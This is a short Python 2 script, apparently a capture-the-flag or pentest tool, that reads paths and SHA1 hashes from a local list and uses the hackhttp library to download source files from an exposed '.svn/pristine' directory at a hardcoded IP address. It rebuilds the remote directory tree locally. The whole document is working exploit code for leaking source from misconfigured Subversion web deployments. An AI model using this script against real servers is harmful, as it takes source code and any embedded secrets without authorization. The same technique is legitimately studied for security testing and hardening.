2017-11-20 14:50:06 +08:00

33 lines
742 B
Python

#coding=utf8
import hackhttp
import re
import os
def GetFile(Filename,sha1):
hh = hackhttp.hackhttp()
Url = "http://106.75.71.16/admin/.svn/pristine/"+str(sha1)[0:2]+"/"+str(sha1)+".svn-base"
a,b,c,d,e = hh.http(Url)
fp = open(Filename,"w")
fp.write(c)
fp.close()
if __name__ == '__main__':
i=0
f = open("1.txt","r")
while 1:
i+=1
print i
line = f.readline()
if not line:
break
else:
dirs = "".join(re.findall(r'/dev/(.*?)\s',line))
sha1 = "".join(re.findall(r'\$sha1\$(.*?)\s',line))
Filename = "".join(re.findall(r'[^\\/:*?"<>|\r\n]+$',dirs))
Dir = dirs.replace(Filename,"")
if os.path.exists(Dir):
pass
else:
os.makedirs(Dir)
if "." in dirs:
GetFile(dirs,sha1)
f.close()